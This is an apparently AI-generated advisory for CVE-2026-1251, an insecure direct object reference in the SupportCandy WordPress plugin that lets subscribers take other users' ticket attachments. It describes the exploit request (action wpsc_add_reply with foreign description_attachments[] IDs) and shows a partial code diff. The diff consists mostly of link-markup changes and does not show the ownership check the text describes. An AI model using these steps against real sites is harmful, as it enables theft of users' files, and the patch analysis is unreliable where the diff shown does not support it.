Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1251: SupportCandy – Helpdesk & Customer Support Ticket System <= 3.4.4 – Authenticated (Subscriber+) Insecure Direct Object Reference (supportcandy)

CVE ID CVE-2026-1251
Plugin supportcandy
Severity Medium (CVSS 5.4)
CWE 639
Vulnerable Version 3.4.4
Patched Version 3.4.5
Disclosed January 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1251:
The SupportCandy WordPress plugin contains an Insecure Direct Object Reference vulnerability in versions up to 3.4.4. This vulnerability affects the file attachment handling mechanism within the ticket reply functionality. Authenticated attackers with subscriber-level permissions can exploit this flaw to steal file attachments from other users’ tickets.

Root Cause:
The vulnerability exists in the `add_reply` function’s handling of the `description_attachments` parameter. Atomic Edge research identified that the plugin fails to validate whether attachment IDs submitted in this parameter belong to the current user. The code processes arbitrary attachment IDs without checking ownership, allowing attackers to reference files uploaded by other users. The vulnerability manifests in the attachment association logic where the plugin reassigns file ownership based on unvalidated user input.

Exploitation:
Attackers exploit this vulnerability by submitting a crafted POST request to the WordPress AJAX endpoint `/wp-admin/admin-ajax.php` with the action parameter set to `wpsc_add_reply`. The malicious payload includes arbitrary attachment IDs in the `description_attachments[]` parameter array. These IDs correspond to files uploaded by other users. When the plugin processes the reply, it associates the specified attachments with the attacker’s ticket, effectively transferring file ownership and removing access from the original uploader.

Patch Analysis:
The patch adds ownership validation before processing attachment IDs. Atomic Edge analysis of the code diff reveals the fix implements checks to verify that each attachment ID in the `description_attachments` parameter belongs to the current user. The validation occurs before any file association operations. The patched version rejects requests containing attachment IDs not owned by the requesting user, preventing unauthorized file access.

Impact:
Successful exploitation allows authenticated attackers with subscriber privileges to steal sensitive file attachments from other users’ support tickets. This can lead to data exposure of confidential documents, personally identifiable information, or proprietary business files uploaded to the helpdesk system. The vulnerability enables horizontal privilege escalation within the file attachment system, bypassing intended access controls.

Differential between vulnerable and patched code

Code Diff
--- a/supportcandy/includes/admin/agent-settings/class-wpsc-agent-roles.php
+++ b/supportcandy/includes/admin/agent-settings/class-wpsc-agent-roles.php
@@ -74,12 +74,12 @@
 										<tr>
 											<td> <span class="title"><?php echo esc_attr( $role['label'] ); ?></span> </td>
 											<td>
-												<a href="javascript:wpsc_get_edit_agent_role(<?php echo esc_attr( $key ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_agent_role' ) ); ?>');"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></a> |
-												<a href="javascript:wpsc_get_clone_agent_role(<?php echo esc_attr( $key ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_clone_agent_role' ) ); ?>');"><?php esc_attr_e( 'Clone', 'supportcandy' ); ?></a>
+												<span class="wpsc-link" onclick="wpsc_get_edit_agent_role(<?php echo esc_attr( $key ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_agent_role' ) ); ?>');"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></span> |
+												<span class="wpsc-link" onclick="wpsc_get_clone_agent_role(<?php echo esc_attr( $key ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_clone_agent_role' ) ); ?>');"><?php esc_attr_e( 'Clone', 'supportcandy' ); ?></span>
 												<?php
 												if ( intval( $key ) > 2 ) :
 													?>
-													| <a href="javascript:wpsc_delete_agent_role(<?php echo esc_attr( $key ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_agent_role' ) ); ?>');"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></a>
+													| <span class="wpsc-link" onclick="wpsc_delete_agent_role(<?php echo esc_attr( $key ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_agent_role' ) ); ?>');"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></span>
 													<?php
 												endif
 												?>
--- a/supportcandy/includes/admin/agent-settings/class-wpsc-agent-settings.php
+++ b/supportcandy/includes/admin/agent-settings/class-wpsc-agent-settings.php
@@ -101,8 +101,8 @@
 											<td><?php echo esc_attr( $agent->customer->email ); ?></td>
 											<td><?php echo esc_attr( $roles[ $agent->role ]['label'] ); ?></td>
 											<td>
-												<a href="javascript:wpsc_get_edit_agent(<?php echo esc_attr( $agent->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_agent' ) ); ?>')"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></a> |
-												<a href="javascript:wpsc_get_delete_agent(<?php echo esc_attr( $agent->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_delete_agent' ) ); ?>' )"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></a>
+												<span class="wpsc-link" onclick="wpsc_get_edit_agent(<?php echo esc_attr( $agent->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_agent' ) ); ?>')"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></span> |
+												<span class="wpsc-link" onclick="wpsc_get_delete_agent(<?php echo esc_attr( $agent->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_delete_agent' ) ); ?>' )"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></span>
 											</td>
 										</tr>
 										<?php
--- a/supportcandy/includes/admin/custom-fields/class-wpsc-aof.php
+++ b/supportcandy/includes/admin/custom-fields/class-wpsc-aof.php
@@ -97,12 +97,12 @@
 								<td><?php echo esc_attr( $cf->name ); ?></td>
 								<td><?php echo esc_attr( $cf->extra_info ); ?></td>
 								<td>
-									<a href="javascript:wpsc_get_edit_custom_field(<?php echo esc_attr( $cf->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_custom_field' ) ); ?>');" class="wpsc-link"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></a>
+									<span class="wpsc-link" onclick="wpsc_get_edit_custom_field(<?php echo esc_attr( $cf->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_custom_field' ) ); ?>');"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></span>
 									<?php
 									if ( ! $cf->type::$is_default ) {
 										echo esc_attr( ' | ' );
 										?>
-										<a href="javascript:wpsc_delete_custom_field(<?php echo esc_attr( $cf->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_custom_field' ) ); ?>');" class="wpsc-link"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></a>
+										<span class="wpsc-link" onclick="wpsc_delete_custom_field(<?php echo esc_attr( $cf->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_custom_field' ) ); ?>');"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></span>
 										<?php
 									}
 									?>
--- a/supportcandy/includes/admin/custom-fields/class-wpsc-cf.php
+++ b/supportcandy/includes/admin/custom-fields/class-wpsc-cf.php
@@ -98,12 +98,12 @@
 								<td><?php echo esc_attr( $cf->name ); ?></td>
 								<td><?php echo esc_attr( $cf->extra_info ); ?></td>
 								<td>
-									<a href="javascript:wpsc_get_edit_custom_field(<?php echo esc_attr( $cf->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_custom_field' ) ); ?>');" class="wpsc-link"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></a>
+									<span class="wpsc-link" onclick="wpsc_get_edit_custom_field(<?php echo esc_attr( $cf->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_custom_field' ) ); ?>');"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></span>
 									<?php
 									if ( ! $cf->type::$is_default ) {
 										echo esc_attr( ' | ' );
 										?>
-										<a href="javascript:wpsc_delete_custom_field(<?php echo esc_attr( $cf->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_custom_field' ) ); ?>');" class="wpsc-link"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></a>
+										<span class="wpsc-link" onclick="wpsc_delete_custom_field(<?php echo esc_attr( $cf->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_custom_field' ) ); ?>');"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></span>
 										<?php
 									}
 									?>
--- a/supportcandy/includes/admin/custom-fields/class-wpsc-tf.php
+++ b/supportcandy/includes/admin/custom-fields/class-wpsc-tf.php
@@ -94,12 +94,12 @@
 								<td><?php echo esc_attr( $cf->name ); ?></td>
 								<td><?php echo esc_attr( $cf->extra_info ); ?></td>
 								<td>
-									<a href="javascript:wpsc_get_edit_custom_field(<?php echo esc_attr( $cf->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_custom_field' ) ); ?>');" class="wpsc-link"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></a>
+									<span class="wpsc-link" onclick="wpsc_get_edit_custom_field(<?php echo esc_attr( $cf->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_custom_field' ) ); ?>');"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></span>
 									<?php
 									if ( ! $cf->type::$is_default ) {
 										echo esc_attr( ' | ' );
 										?>
-										<a href="javascript:wpsc_delete_custom_field(<?php echo esc_attr( $cf->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_custom_field' ) ); ?>');" class="wpsc-link"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></a>
+										<span class="wpsc-link" onclick="wpsc_delete_custom_field(<?php echo esc_attr( $cf->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_custom_field' ) ); ?>');"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></span>
 										<?php
 									}
 									?>
--- a/supportcandy/includes/admin/custom-fields/class-wpsc-tff.php
+++ b/supportcandy/includes/admin/custom-fields/class-wpsc-tff.php
@@ -85,12 +85,12 @@
 							<tr>
 								<td><?php echo esc_attr( $cf->name ); ?></td>
 								<td>
-									<a href="javascript:wpsc_get_edit_tff(<?php echo esc_attr( $cf->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_tff' ) ); ?>');" class="wpsc-link"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></a>
+									<span class="wpsc-link" onclick="wpsc_get_edit_tff(<?php echo esc_attr( $cf->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_tff' ) ); ?>');"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></span>
 									<?php
 									if ( ! ( $cf->slug == 'name' || $cf->slug == 'email' ) ) :
 										echo esc_attr( ' | ' );
 										?>
-										<a href="javascript:wpsc_delete_tff(<?php echo esc_attr( $cf->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_tff' ) ); ?>');" class="wpsc-link"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></a>
+										<span class="wpsc-link" onclick="wpsc_delete_tff(<?php echo esc_attr( $cf->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_tff' ) ); ?>');"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></span>
 										<?php
 									endif;
 									?>
--- a/supportcandy/includes/admin/customers/class-wpsc-customers.php
+++ b/supportcandy/includes/admin/customers/class-wpsc-customers.php
@@ -231,21 +231,21 @@
 				$agent = WPSC_Agent::get_by_customer( $customer );
 				ob_start();
 				?>
-				<a href="javascript:wpsc_view_customer_info(<?php echo esc_attr( $customer->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_view_customer_info' ) ); ?>')" class="wpsc-link">
+				<span class="wpsc-link" onclick="wpsc_view_customer_info(<?php echo esc_attr( $customer->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_view_customer_info' ) ); ?>')">
 					<?php esc_attr_e( 'View', 'supportcandy' ); ?>
-				</a> |
-				<a href="javascript:wpsc_get_edit_customer_info(<?php echo esc_attr( $customer->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_customer_info' ) ); ?>')" class="wpsc-link">
+				</span> |
+				<span class="wpsc-link" onclick="wpsc_get_edit_customer_info(<?php echo esc_attr( $customer->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_customer_info' ) ); ?>')">
 					<?php esc_attr_e( 'Edit', 'supportcandy' ); ?>
-				</a> |
-				<a href="javascript:wpsc_view_customer_logs(<?php echo esc_attr( $customer->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_view_customer_logs' ) ); ?>')" class="wpsc-link">
+				</span> |
+				<span class="wpsc-link" onclick="wpsc_view_customer_logs(<?php echo esc_attr( $customer->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_view_customer_logs' ) ); ?>')">
 					<?php esc_attr_e( 'Logs', 'supportcandy' ); ?>
-				</a>
+				</span>
 				<?php
 				if ( ! $agent->id || ( $agent->role != 1 ) ) {
 					?>
-					| <a href="javascript:wpsc_delete_customer(<?php echo esc_attr( $customer->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_customer' ) ); ?>')" class="wpsc-link">
+					| <span class="wpsc-link" onclick="wpsc_delete_customer(<?php echo esc_attr( $customer->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_customer' ) ); ?>')">
 						<?php esc_attr_e( 'Delete', 'supportcandy' ); ?>
-					</a>
+					</span>
 					<?php
 				}
 				?>
@@ -253,7 +253,7 @@
 				$actions = ob_get_clean();

 				$data[] = array(
-					'name'    => '<a class="wpsc-link" href="javascript:wpsc_view_customer_detailed_info( ' . $customer->id . ', '' . wp_create_nonce( 'wpsc_view_customer_detailed_info' ) . '' )">' . $customer->name . '<a>',
+					'name'    => '<span class="wpsc-link" onclick="wpsc_view_customer_detailed_info( ' . $customer->id . ', '' . wp_create_nonce( 'wpsc_view_customer_detailed_info' ) . '' )">' . esc_html( $customer->name ) . '</span>',
 					'email'   => $customer->email,
 					'type'    => ! is_object( $customer->user ) ? esc_attr__( 'Guest', 'supportcandy' ) : esc_attr__( 'Registered', 'supportcandy' ),
 					'tickets' => $customer->ticket_count,
@@ -799,9 +799,9 @@
 				<?php
 				if ( ! $agent->id || ( $agent->role != 1 ) ) {
 					?>
-					| <a href="javascript:wpsc_delete_customer(<?php echo esc_attr( $customer->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_customer' ) ); ?>')" class="wpsc-link">
+					| <span class="wpsc-link" onclick="wpsc_delete_customer(<?php echo esc_attr( $customer->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_customer' ) ); ?>')">
 						<?php esc_attr_e( 'Delete', 'supportcandy' ); ?>
-					</a>
+					</span>
 					<?php
 				}
 				?>
--- a/supportcandy/includes/admin/email-notifications/class-wpsc-en-settings-tn.php
+++ b/supportcandy/includes/admin/email-notifications/class-wpsc-en-settings-tn.php
@@ -118,17 +118,17 @@
 										<?php
 										if ( $et['is_enable'] ) {
 											?>
-											<a href="javascript:wpsc_en_enable_disable_template(<?php echo esc_attr( $index ); ?>, '0', '<?php echo esc_attr( wp_create_nonce( 'wpsc_en_enable_disable_template' ) ); ?>')"><?php esc_attr_e( 'Disable', 'supportcandy' ); ?></a> |
+											<span class="wpsc-link" onclick="wpsc_en_enable_disable_template(<?php echo esc_attr( $index ); ?>, '0', '<?php echo esc_attr( wp_create_nonce( 'wpsc_en_enable_disable_template' ) ); ?>')"><?php esc_attr_e( 'Disable', 'supportcandy' ); ?></span> |
 											<?php
 										} else {
 											?>
-											<a href="javascript:wpsc_en_enable_disable_template(<?php echo esc_attr( $index ); ?>, '1', '<?php echo esc_attr( wp_create_nonce( 'wpsc_en_enable_disable_template' ) ); ?>')"><?php esc_attr_e( 'Enable', 'supportcandy' ); ?></a> |
+											<span class="wpsc-link" onclick="wpsc_en_enable_disable_template(<?php echo esc_attr( $index ); ?>, '1', '<?php echo esc_attr( wp_create_nonce( 'wpsc_en_enable_disable_template' ) ); ?>')"><?php esc_attr_e( 'Enable', 'supportcandy' ); ?></span> |
 											<?php
 										}
 										?>
-										<a href="javascript:wpsc_en_get_edit_ticket_notification(<?php echo esc_attr( $index ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_en_get_edit_ticket_notification' ) ); ?>')"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></a> |
-										<a href="javascript:wpsc_en_get_clone_ticket_notification(<?php echo esc_attr( $index ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_en_get_clone_ticket_notification' ) ); ?>')"><?php esc_attr_e( 'Clone', 'supportcandy' ); ?></a> |
-										<a href="javascript:wpsc_en_delete_ticket_notification(<?php echo esc_attr( $index ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_en_delete_ticket_notification' ) ); ?>')"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></a>
+										<span class="wpsc-link" onclick="wpsc_en_get_edit_ticket_notification(<?php echo esc_attr( $index ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_en_get_edit_ticket_notification' ) ); ?>')"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></span> |
+										<span class="wpsc-link" onclick="wpsc_en_get_clone_ticket_notification(<?php echo esc_attr( $index ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_en_get_clone_ticket_notification' ) ); ?>')"><?php esc_attr_e( 'Clone', 'supportcandy' ); ?></span> |
+										<span class="wpsc-link" onclick="wpsc_en_delete_ticket_notification(<?php echo esc_attr( $index ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_en_delete_ticket_notification' ) ); ?>')"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></span>
 									</td>
 								</tr>
 								<?php
--- a/supportcandy/includes/admin/settings/class-wpsc-ticket-categories.php
+++ b/supportcandy/includes/admin/settings/class-wpsc-ticket-categories.php
@@ -69,11 +69,11 @@
 								<td><span class="title"><?php echo esc_attr( $category->name ); ?></span></td>
 								<td>
 									<div class="actions">
-										<a class="wpsc-link" href="javascript:wpsc_get_edit_category(<?php echo esc_attr( $category->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_category' ) ); ?>');" ><?php echo esc_attr__( 'Edit', 'supportcandy' ); ?></a>
+										<span class="wpsc-link" onclick="wpsc_get_edit_category(<?php echo esc_attr( $category->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_category' ) ); ?>');" ><?php echo esc_attr__( 'Edit', 'supportcandy' ); ?></span>
 										<?php
 										if ( $cf->default_value[0] != $category->id ) :
 											?>
-											| <a class="wpsc-link" href="javascript:wpsc_get_delete_category(<?php echo esc_attr( $category->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_delete_category' ) ); ?>');" ><?php echo esc_attr__( 'Delete', 'supportcandy' ); ?></a>
+											| <span class="wpsc-link" onclick="wpsc_get_delete_category(<?php echo esc_attr( $category->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_delete_category' ) ); ?>');" ><?php echo esc_attr__( 'Delete', 'supportcandy' ); ?></span>
 											<?php
 										endif;
 										?>
--- a/supportcandy/includes/admin/settings/class-wpsc-ticket-priorities.php
+++ b/supportcandy/includes/admin/settings/class-wpsc-ticket-priorities.php
@@ -70,11 +70,11 @@
 								<td><span class="wpsc-tag" style="color: <?php echo esc_attr( $priority->color ); ?>; background-color: <?php echo esc_attr( $priority->bg_color ); ?>;" ><?php echo esc_attr( $priority->name ); ?></span></td>
 								<td>
 									<div class="actions">
-										<a class="wpsc-link" href="javascript:wpsc_get_edit_priority(<?php echo esc_attr( $priority->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_priority' ) ); ?>');" ><?php echo esc_attr__( 'Edit', 'supportcandy' ); ?></a>
+										<span class="wpsc-link" onclick="wpsc_get_edit_priority(<?php echo esc_attr( $priority->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_priority' ) ); ?>');" ><?php echo esc_attr__( 'Edit', 'supportcandy' ); ?></span>
 										<?php
 										if ( $cf->default_value[0] != $priority->id ) :
 											?>
-											| <a class="wpsc-link" href="javascript:wpsc_get_delete_priority(<?php echo esc_attr( $priority->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_delete_priority' ) ); ?>');" ><?php echo esc_attr__( 'Delete', 'supportcandy' ); ?></a>
+											| <span class="wpsc-link" onclick="wpsc_get_delete_priority(<?php echo esc_attr( $priority->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_delete_priority' ) ); ?>');" ><?php echo esc_attr__( 'Delete', 'supportcandy' ); ?></span>
 											<?php
 										endif;
 										?>
--- a/supportcandy/includes/admin/settings/class-wpsc-ticket-statuses.php
+++ b/supportcandy/includes/admin/settings/class-wpsc-ticket-statuses.php
@@ -73,9 +73,9 @@
 								<td><span class="wpsc-tag" style="color: <?php echo esc_attr( $status->color ); ?>; background-color: <?php echo esc_attr( $status->bg_color ); ?>;" ><?php echo esc_attr( $status->name ); ?></span></td>
 								<td>
 									<div class="actions">
-										<a class="wpsc-link" href="javascript:wpsc_get_edit_status(<?php echo esc_attr( $status->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_status' ) ); ?>');" ><?php echo esc_attr__( 'Edit', 'supportcandy' ); ?></a>
+										<span class="wpsc-link" onclick="wpsc_get_edit_status(<?php echo esc_attr( $status->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_status' ) ); ?>');" ><?php echo esc_attr__( 'Edit', 'supportcandy' ); ?></span>
 										<?php if ( ! in_array( $status->id, $default_statuses ) ) : ?>
-											| <a class="wpsc-link" href="javascript:wpsc_get_delete_status(<?php echo esc_attr( $status->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_delete_status' ) ); ?>');" ><?php echo esc_attr__( 'Delete', 'supportcandy' ); ?></a>
+											| <span class="wpsc-link" onclick="wpsc_get_delete_status(<?php echo esc_attr( $status->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_delete_status' ) ); ?>');" ><?php echo esc_attr__( 'Delete', 'supportcandy' ); ?></span>
 											<?php
 										endif;
 										?>
--- a/supportcandy/includes/admin/settings/dashboard-settings/widgets/class-wpsc-dbw-recent-tickets.php
+++ b/supportcandy/includes/admin/settings/dashboard-settings/widgets/class-wpsc-dbw-recent-tickets.php
@@ -52,7 +52,7 @@
 						</span>
 					</div>
 					<div class="wpsc-dash-widget-actions">
-						<a href="javascript:wpsc_get_ticket_list();"><?php echo esc_attr__( 'View All', 'supportcandy' ); ?></a>
+						<span class="wpsc-link" onclick="wpsc_get_ticket_list();"><?php echo esc_attr__( 'View All', 'supportcandy' ); ?></span>
 					</div>
 				</div>
 				<div class="wpsc-dash-widget-content wpsc-dbw-info" id="wpsc-recent-ticket"></div>
--- a/supportcandy/includes/admin/settings/ticket-tags/class-wpsc-ticket-tags-list.php
+++ b/supportcandy/includes/admin/settings/ticket-tags/class-wpsc-ticket-tags-list.php
@@ -66,8 +66,8 @@
 							<td><?php echo strlen( $tag->description ) > 20 ? esc_attr( substr( $tag->description, 0, 20 ) . '...' ) : esc_attr( $tag->description ); ?></td>
 							<td>
 								<a href="<?php echo esc_url( admin_url( 'admin.php?page=wpsc-tickets&section=ticket-list&wpsc_tag=' . $tag->id ) ); ?>" class="wpsc-link" target="__blank"><?php echo esc_attr( wpsc__( 'View tickets', 'supportcandy' ) ); ?></a> |
-								<a href="javascript:wpsc_get_edit_ticket_tags(<?php echo esc_attr( $tag->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_ticket_tags' ) ); ?>');" class="wpsc-link"><?php echo esc_attr( wpsc__( 'Edit', 'supportcandy' ) ); ?></a> |
-								<a href="javascript:wpsc_set_delete_ticket_tags(<?php echo esc_attr( $tag->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_set_delete_ticket_tags' ) ); ?>');" class="wpsc-link"><?php echo esc_attr( wpsc__( 'Delete', 'supportcandy' ) ); ?></a>
+								<span class="wpsc-link" onclick="wpsc_get_edit_ticket_tags(<?php echo esc_attr( $tag->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_ticket_tags' ) ); ?>');"><?php echo esc_attr( wpsc__( 'Edit', 'supportcandy' ) ); ?></span> |
+								<span class="wpsc-link" onclick="wpsc_set_delete_ticket_tags(<?php echo esc_attr( $tag->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_set_delete_ticket_tags' ) ); ?>');"><?php echo esc_attr( wpsc__( 'Delete', 'supportcandy' ) ); ?></span>
 							</td>
 						</tr>
 						<?php
--- a/supportcandy/includes/admin/ticket-list/class-wpsc-agent-ticket-list-settings.php
+++ b/supportcandy/includes/admin/ticket-list/class-wpsc-agent-ticket-list-settings.php
@@ -182,8 +182,8 @@
 						<tr>
 							<td><?php echo esc_attr( $cf->name ); ?></td>
 							<td>
-								<a href="javascript:wpsc_get_edit_agent_tl_item('<?php echo esc_attr( $slug ); ?>', '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_agent_tl_item' ) ); ?>');" class="wpsc-link"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></a> |
-								<a href="javascript:wpsc_delete_agent_tl_item('<?php echo esc_attr( $slug ); ?>', '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_agent_tl_item' ) ); ?>');" class="wpsc-link"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></a>
+								<span class="wpsc-link" onclick="wpsc_get_edit_agent_tl_item('<?php echo esc_attr( $slug ); ?>', '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_agent_tl_item' ) ); ?>');"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></span> |
+								<span class="wpsc-link" onclick="wpsc_delete_agent_tl_item('<?php echo esc_attr( $slug ); ?>', '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_agent_tl_item' ) ); ?>');"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></span>
 							</td>
 						</tr>
 						<?php
--- a/supportcandy/includes/admin/ticket-list/class-wpsc-customer-ticket-list-settings.php
+++ b/supportcandy/includes/admin/ticket-list/class-wpsc-customer-ticket-list-settings.php
@@ -180,8 +180,8 @@
 						<tr>
 							<td><?php echo esc_attr( $cf->name ); ?></td>
 							<td>
-								<a href="javascript:wpsc_get_edit_customer_tl_item('<?php echo esc_attr( $slug ); ?>', '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_customer_tl_item' ) ); ?>');" class="wpsc-link"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></a> |
-								<a href="javascript:wpsc_delete_customer_tl_item('<?php echo esc_attr( $slug ); ?>', '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_customer_tl_item' ) ); ?>');" class="wpsc-link"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></a>
+								<span class="wpsc-link" onclick="wpsc_get_edit_customer_tl_item('<?php echo esc_attr( $slug ); ?>', '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_customer_tl_item' ) ); ?>');"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></span> |
+								<span class="wpsc-link" onclick="wpsc_delete_customer_tl_item('<?php echo esc_attr( $slug ); ?>', '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_customer_tl_item' ) ); ?>');"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></span>
 							</td>
 						</tr>
 						<?php
@@ -949,8 +949,8 @@
 						<tr>
 							<td><?php echo esc_attr( $cf->name ); ?></td>
 							<td>
-								<a href="javascript:wpsc_get_edit_ctl_filter_item('<?php echo esc_attr( $slug ); ?>', '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_ctl_filter_item' ) ); ?>');" class="wpsc-link"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></a> |
-								<a href="javascript:wpsc_delete_ctl_filter_item('<?php echo esc_attr( $slug ); ?>', '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_ctl_filter_item' ) ); ?>');" class="wpsc-link"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></a>
+								<span class="wpsc-link" onclick="wpsc_get_edit_ctl_filter_item('<?php echo esc_attr( $slug ); ?>', '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_ctl_filter_item' ) ); ?>');"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></span> |
+								<span class="wpsc-link" onclick="wpsc_delete_ctl_filter_item('<?php echo esc_attr( $slug ); ?>', '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_ctl_filter_item' ) ); ?>');"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></span>
 							</td>
 						</tr>
 						<?php
--- a/supportcandy/includes/admin/tickets/class-wpsc-individual-archive-ticket.php
+++ b/supportcandy/includes/admin/tickets/class-wpsc-individual-archive-ticket.php
@@ -589,9 +589,9 @@
 									esc_attr( $logs[0]->date_created->setTimezone( wp_timezone() )->format( $advanced['thread-date-format'] ) )
 								);
 								?>
-								<a href="javascript:wpsc_it_view_deleted_thread(<?php echo intval( self::$ticket->id ); ?>, <?php echo intval( $thread->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_it_view_deleted_thread' ) ); ?>')">
+								<span class="wpsc-link" onclick="wpsc_it_view_deleted_thread(<?php echo intval( self::$ticket->id ); ?>, <?php echo intval( $thread->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_it_view_deleted_thread' ) ); ?>')">
 									<?php esc_attr_e( 'View thread!', 'supportcandy' ); ?>
-								</a>
+								</span>
 							</i>
 							<?php
 						}
@@ -651,9 +651,9 @@
